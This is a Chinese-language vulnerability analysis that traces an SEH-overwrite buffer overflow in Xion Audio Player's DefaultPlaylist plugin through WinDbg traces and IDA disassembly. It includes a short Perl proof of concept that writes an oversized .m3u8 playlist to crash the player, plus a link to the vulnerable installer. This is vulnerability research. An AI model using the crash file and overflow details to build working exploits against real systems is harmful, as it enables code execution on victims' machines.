作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/26083a9d383b24c0766f182add2e8d8c-xion_v1.0b126.exe
PoC:
#!/usr/bin/perl
my $file= "inj3ct0r team.m3u8";
my $junk= "\x41" x 3569;
open($FILE, ">$file");
print($FILE $junk);
close($FILE);
print("File created succesufully , open it with Xion Audio Player and press the Play button");
PoC是用perl写的,可以保存成.pl文件,在linux下直接执行生成一个m3u8的文件,比较方便,在windows下也可以,只不过要先安装perl,生成后,在Xion Audio Player里直接打开,引发崩溃。
漏洞复现
DefaultPlaylist是Xion播放器处理音乐名和歌词的动态链接库,位于Plugins文件夹中,在Xion播放器打开时会加载进程序领空,在DefaultPlaylist处理m2u8文件时,由于没有对文件内容进行有效的检查,在sub_1001A6E0函数中调用_wcsrchr函数处理字符串时会由于畸形字符串拷贝导致某处指针被覆盖,因而导致程序进入SEH异常处理流程,从而达到代码执行,下面对此漏洞进行详细分析。
首先打开PoC,附加Windbg,程序崩溃,中断在漏洞现场。
0:009> g
(ce0.9cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02ddef78 ebx=00000000 ecx=00000041 edx=00001088 esi=02d9fb28 edi=02d9eca8
eip=02c0a753 esp=02d9ea98 ebp=02d9ecb0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll -
DefaultPlaylist!XionPluginCreate+0x16bc3:
02c0a753 66890c02 mov word ptr [edx+eax],cx ds:0023:02de0041=????
可以看到此时edx+eax被引用到一个无效地址,接下来直接F5执行。
0:008> g
(ce0.9cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00410041 edx=7c9232bc esi=00000000 edi=00000000
eip=00410041 esp=02d9e6c8 ebp=02d9e6e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
Xion+0x10041:
00410041 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????
进入SEH异常处理,此时SEH指针被覆盖,跳转到00410041的位置,通过kb可以回看被覆盖的堆栈。
02d9ecb0 00410041 00410041 00410041 00410041 ntdll!KiUserExceptionDispatcher+0xe
02d9ecb4 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecb8 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecbc 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecc0 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecc4 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecc8 00410041 00410041 00410041 00410041 Xion+0x10041
02d9eccc 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecd0 00410041 00410041 00410041 00410041 Xion+0x10041
由于堆栈被破坏,无法通过kb来回看堆栈调用情况,这里我通过减少畸形字符串长度来回看调用情况。
漏洞分析
尝试减小字符串长度,重新附加windbg,打开PoC
0:009> g
(2ec.f78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00000000 ecx=02f54878 edx=02c40000 esi=02b36960 edi=02c3fd30
eip=01a8cf7a esp=02c3ecbc ebp=02c3fd4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll -
DefaultPlaylist!XionPluginCreate+0x193ea:
01a8cf7a 668902 mov word ptr [edx],ax ds:0023:02c40000=5a4d
可以看到程序中断在了不同位置,再次通过kb回溯,可以看到中断位置发生了变化。
0:008> kb
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02c3fd4c 00410041 00410041 00410041 00410041 DefaultPlaylist!XionPluginCreate+0x193ea
这里并不能真正触发漏洞,而SEH处理会由于覆盖不到也无法进入,但可以通过这个位置的定位,重新修改成正常PoC动态跟踪整个位置,现通过IDA找到这个loc的位置。
.text:1001CF77 loc_1001CF77: ; CODE XREF: sub_1001CB90+3F6j
.text:1001CF77 movzx eax, word ptr [ecx]
.text:1001CF7A mov [edx], ax
定位到函数sub_1001CB90,这里我要说明一下,第一是这个dll是加了UPX壳,在调试前需要脱壳,其次调试时,IDA静态跟踪的地址和动态调试的地址有所区别,所以调试时需要计算一下偏移,再根据基址地址计算出绝对地址。
接下来在函数入口下断点,重新附加程序。
0:009> bp DefaultPlaylist!XionPluginCreate+0x19000
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll -
0:009> g
Breakpoint 0 hit
eax=02b36968 ebx=00000001 ecx=00000000 edx=02f0bd50 esi=02b36960 edi=02b36960
eip=01a8cb90 esp=02c3fd50 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DefaultPlaylist!XionPluginCreate+0x19000:
01a8cb90 55 push ebp
中断后,通过kb可以看到没有被畸形字符串覆盖的堆栈调用。
0:008> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02c3fd4c 01a8d9b4 02b36960 c7962a62 77f47e7c DefaultPlaylist!XionPluginCreate+0x19000
00000000 00000000 00000000 00000000 00000000 DefaultPlaylist!XionPluginCreate+0x19e24
单步执行,此时观察edx的值。
0:008> dc edx l100
02c3f112 005c003a 006f0044 00750063 0065006d :.\.D.o.c.u.m.e.
02c3f122 0074006e 00200073 006e0061 00200064 n.t.s. .a.n.d. .
02c3f132 00650053 00740074 006e0069 00730067 S.e.t.t.i.n.g.s.
02c3f142 0041005c 006d0064 006e0069 00730069 \.A.d.m.i.n.i.s.
02c3f152 00720074 00740061 0072006f 0041005c t.r.a.t.o.r.\.A.
02c3f162 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f172 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f182 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f192 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f1a2 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f1b2 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f1c2 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f1d2 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f1e2 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f1f2 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f202 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f212 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f222 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3f232 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
已经是畸形字符串路径了,接下来程序会进入第一处循环。
0:008> p
eax=02c3ed68 ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd64 esp=02c3ecbc ebp=02c3fd4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
DefaultPlaylist!XionPluginCreate+0x191d4:
01a8cd64 668b08 mov cx,word ptr [eax] ds:0023:02c3ed68=0041
0:008> p
eax=02c3ed68 ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd67 esp=02c3ecbc ebp=02c3fd4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
DefaultPlaylist!XionPluginCreate+0x191d7:
01a8cd67 83c002 add eax,2
0:008> p
eax=02c3ed6a ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd6a esp=02c3ecbc ebp=02c3fd4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
DefaultPlaylist!XionPluginCreate+0x191da:
01a8cd6a 663bcb cmp cx,bx
0:008> p
eax=02c3ed6a ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd6d esp=02c3ecbc ebp=02c3fd4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
DefaultPlaylist!XionPluginCreate+0x191dd:
01a8cd6d 75f5 jne DefaultPlaylist!XionPluginCreate+0x191d4 (01a8cd64) [br=1]
这处循环会对cx进行缓冲区拷贝,拷贝的是eax的值,而eax的值正是畸形字符串。
0:008> dd eax
02c3ed6a 00410041 00410041 00410041 00410041
02c3ed7a 00410041 00410041 00410041 00410041
02c3ed8a 00410041 00410041 00410041 00410041
02c3ed9a 00410041 00410041 00410041 00410041
02c3edaa 00410041 00410041 00410041 00410041
02c3edba 00410041 00410041 00410041 00410041
02c3edca 00410041 00410041 00410041 00410041
02c3edda 00410041 00410041 00410041 00410041
紧接着会到达第二处循环。
01a8cf77 0fb701 movzx eax,word ptr [ecx] ds:0023:02df6b68=0073
01a8cf7a 668902 mov word ptr [edx],ax
01a8cf7d 83c102 add ecx,2
01a8cf80 83c202 add edx,2
01a8cf83 663bc3 cmp ax,bx
01a8cf86 75ef jne DefaultPlaylist!XionPluginCreate+0x193e7 (01a8cf77)
第二处循环中拷贝的就是畸形字符串的路径了。
0:008> dc ecx
02df6b66 00730067 0041005c 006d0064 006e0069 g.s.\.A.d.m.i.n.
02df6b76 00730069 00720074 00740061 0072006f i.s.t.r.a.t.o.r.
02df6b86 684c005c 005c9762 00410041 00410041 \.Lhb.\.A.A.A.A.
02df6b96 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02df6ba6 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02df6bb6 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02df6bc6 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02df6bd6 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
这次拷贝结束后单步执行,到达下面的位置。
0:008> bp 01a8cf88
0:008> g
Breakpoint 2 hit
eax=00000000 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b78 edi=02c3fd30
eip=01a8cf88 esp=02c3ecbc ebp=02c3fd4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DefaultPlaylist!XionPluginCreate+0x193f8:
01a8cf88 8d84246c0e0000 lea eax,[esp+0E6Ch]
0:008> p
eax=02c3fb28 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b78 edi=02c3fd30
eip=01a8cf8f esp=02c3ecbc ebp=02c3fd4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DefaultPlaylist!XionPluginCreate+0x193ff:
01a8cf8f 50 push eax
0:008> p
eax=02c3fb28 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b78 edi=02c3fd30
eip=01a8cf90 esp=02c3ecb8 ebp=02c3fd4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DefaultPlaylist!XionPluginCreate+0x19400:
01a8cf90 e84bd7ffff call DefaultPlaylist!XionPluginCreate+0x16b50 (01a8a6e0)
0:008> p
(b60.9b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02c40f78 ebx=00000000 ecx=00000041 edx=00001088 esi=02c3fb28 edi=02c3eca8
eip=01a8a753 esp=02c3ea98 ebp=02c3ecb0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
DefaultPlaylist!XionPluginCreate+0x16bc3:
01a8a753 66890c02 mov word ptr [edx+eax],cx ds:0023:02c42000=????
发现01a8cf90地址处的call调用步过,会到达漏洞现场,那么我要跟进01a8cf90地址的函数。通过IDA pro查看这个函数的源码,发现其实,这个函数就是漏洞现场所在的函数。
.text:1001A6E0 ; int __cdecl sub_1001A6E0(wchar_t *)
.text:1001A6E0 sub_1001A6E0 proc near ; CODE XREF: sub_1001CB90+400p
.text:1001A6E0
.text:1001A6E0 var_210 = byte ptr -210h
.text:1001A6E0 var_4 = dword ptr -4
.text:1001A6E0 arg_0 = dword ptr 8
.text:1001A6E0
.text:1001A6E0 push ebp
.text:1001A6E1 mov ebp, esp
.text:1001A6E3 and esp, 0FFFFFFF8h
.text:1001A6E6 sub esp, 210h
.text:1001A6EC mov eax, ___security_cookie
.text:1001A6F1 xor eax, esp
.text:1001A6F3 mov [esp+210h+var_4], eax
.text:1001A6FA xor eax, eax
.text:1001A6FC movzx edx, ax
.text:1001A6FF push esi
.text:1001A700 mov esi, [ebp+arg_0]
.text:1001A703 push edi
.text:1001A704 mov eax, edx
.text:1001A706 shl edx, 10h
.text:1001A709 or eax, edx
.text:1001A70B push 5Ch ; wchar_t
.text:1001A70D mov ecx, 82h
.text:1001A712 lea edi, [esp+21Ch+var_210]
.text:1001A716 push esi ; wchar_t *
.text:1001A717 rep stosd
.text:1001A719 call _wcsrchr
.text:1001A71E add esp, 8
.text:1001A721 test eax, eax
.text:1001A723 jz short loc_1001A75F
.text:1001A725 add eax, 2
.text:1001A728 lea edx, [esp+218h+var_210]
.text:1001A72C sub edx, eax
.text:1001A72E mov edi, edi
.text:1001A730
.text:1001A730 loc_1001A730: ; CODE XREF: sub_1001A6E0+5Dj
.text:1001A730 movzx ecx, word ptr [eax]
.text:1001A733 mov [edx+eax], cx
.text:1001A737 add eax, 2
.text:1001A73A test cx, cx
.text:1001A73D jnz short loc_1001A730
.text:1001A73F lea eax, [esp+218h+var_210]
.text:1001A743 mov edx, esi
.text:1001A745 mov ecx, eax
.text:1001A747 sub edx, ecx
.text:1001A749 lea esp, [esp+0]
.text:1001A750
.text:1001A750 loc_1001A750: ; CODE XREF: sub_1001A6E0+7Dj
.text:1001A750 movzx ecx, word ptr [eax]
.text:1001A753 mov [edx+eax], cx
.text:1001A757 add eax, 2
.text:1001A75A test cx, cx
.text:1001A75D jnz short loc_1001A750
.text:1001A75F
.text:1001A75F loc_1001A75F: ; CODE XREF: sub_1001A6E0+43j
.text:1001A75F mov ecx, [esp+218h+var_4]
.text:1001A766 pop edi
.text:1001A767 pop esi
.text:1001A768 xor ecx, esp
.text:1001A76A call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:1001A76F mov esp, ebp
.text:1001A771 pop ebp
.text:1001A772 retn
.text:1001A772 sub_1001A6E0 endp
重新回到刚才地址函数调用的入口处,通过上面查看函数的内容,发现函数只有一个参数,在函数入口处查看一下第一个参数是什么。
0:009> g
Breakpoint 0 hit
eax=02c3fb28 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b80 edi=02c3fd30
eip=01a8cf90 esp=02c3ecb8 ebp=02c3fd4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DefaultPlaylist!XionPluginCreate+0x19400:
01a8cf90 e84bd7ffff call DefaultPlaylist!XionPluginCreate+0x16b50 (01a8a6e0)
0:008> dd esp
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
02c3ecb8 02c3fb28 d2b8c42e 02b36b80 02b36b80
02c3ecc8 00000001 00410041 02c3f110 00410041
02c3ecd8 00003373 000087e6 00000000 000066c7
02c3ece8 02b3b898 00410041 00410041 02e0bef0
02c3ecf8 02e0bef8 02e0bef8 02b36ba4 02b36b88
02c3ed08 00410000 00410041 00410041 00410041
02c3ed18 00410041 00410041 00410041 00410041
02c3ed28 00410041 00410041 00410041 00410041
0:008> dc 02c3fb28
02c3fb28 003a0043 0044005c 0063006f 006d0075 C.:.\.D.o.c.u.m.
02c3fb38 006e0065 00730074 00610020 0064006e e.n.t.s. .a.n.d.
02c3fb48 00530020 00740065 00690074 0067006e .S.e.t.t.i.n.g.
02c3fb58 005c0073 00640041 0069006d 0069006e s.\.A.d.m.i.n.i.
02c3fb68 00740073 00610072 006f0074 005c0072 s.t.r.a.t.o.r.\.
02c3fb78 9762684c 0041005c 00410041 00410041 Lhb.\.A.A.A.A.A.
02c3fb88 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
02c3fb98 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
第一个参数就是畸形字符串的绝对路径,那么接下来进入这个函数单步跟踪,到达一处call调用,call调用结束后,eax的值被修改。
0:008> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=02c3fb28 edi=02c3eca8
eip=01a8a719 esp=02c3ea90 ebp=02c3ecb0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DefaultPlaylist!XionPluginCreate+0x16b89:
01a8a719 e8b4220400 call DefaultPlaylist!XionPluginCreate+0x58e42 (01acc9d2)
0:008> p
eax=02c3fb7c ebx=00000000 ecx=0000005c edx=02c3fb28 esi=02c3fb28 edi=02c3eca8
eip=01a8a71e esp=02c3ea90 ebp=02c3ecb0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DefaultPlaylist!XionPluginCreate+0x16b8e:
01a8a71e 83c408 add esp,8
查看一下eax寄存器的值
0:008> dd eax
02c40f78 00410041 00410041 00410041 00410041
02c40f88 00410041 00410041 00410041 00410041
02c40f98 00410041 00410041 00410041 00410041
02c40fa8 00410041 00410041 00410041 00410041
02c40fb8 00410041 00410041 00410041 00410041
02c40fc8 00410041 00410041 00410041 00410041
02c40fd8 00410041 00410041 00410041 00410041
02c40fe8 00410041 00410041 00410041 00410041
已经是畸形字符串了,接下来就会执行到刚才漏洞触发的部分,通过之前的上下文观察,不难发现其实是01a8a719地址的call调用返回的指针,交给了eax寄存器,而eax指针中的值已经被覆盖了,继续跟入这个函数。
.text:1001A70B push 5Ch ; wchar_t
.text:1001A70D mov ecx, 82h
.text:1001A712 lea edi, [esp+21Ch+var_210]
.text:1001A716 push esi ; wchar_t *
.text:1001A717 rep stosd
.text:1001A719 call _wcsrchr
通过IDA查看wcsrchr函数的伪代码
wchar_t *__cdecl wcsrchr(const wchar_t *a1, wchar_t a2)
{
wchar_t *result; // eax@1
wchar_t v3; // cx@2
result = (wchar_t *)a1;
do
{
v3 = *result;
++result;
}
while ( v3 );
do
--result;
while ( result != a1 && *result != a2 );
if ( *result != a2 )
result = 0;
return result;
}
其实这里就是循环拷贝的作用,到此可以发现,在程序整个处理文件路径过程中,没有对长度进行控制和判断,而是直接交给内层函数处理,在wcsrchr函数拷贝过程中造成溢出,覆盖了某些关键指针,接着在后续调用中,由于关键指针位置不可读,从而导致了SEH异常处理,最后通过SEH指针覆盖达到代码执行的效果。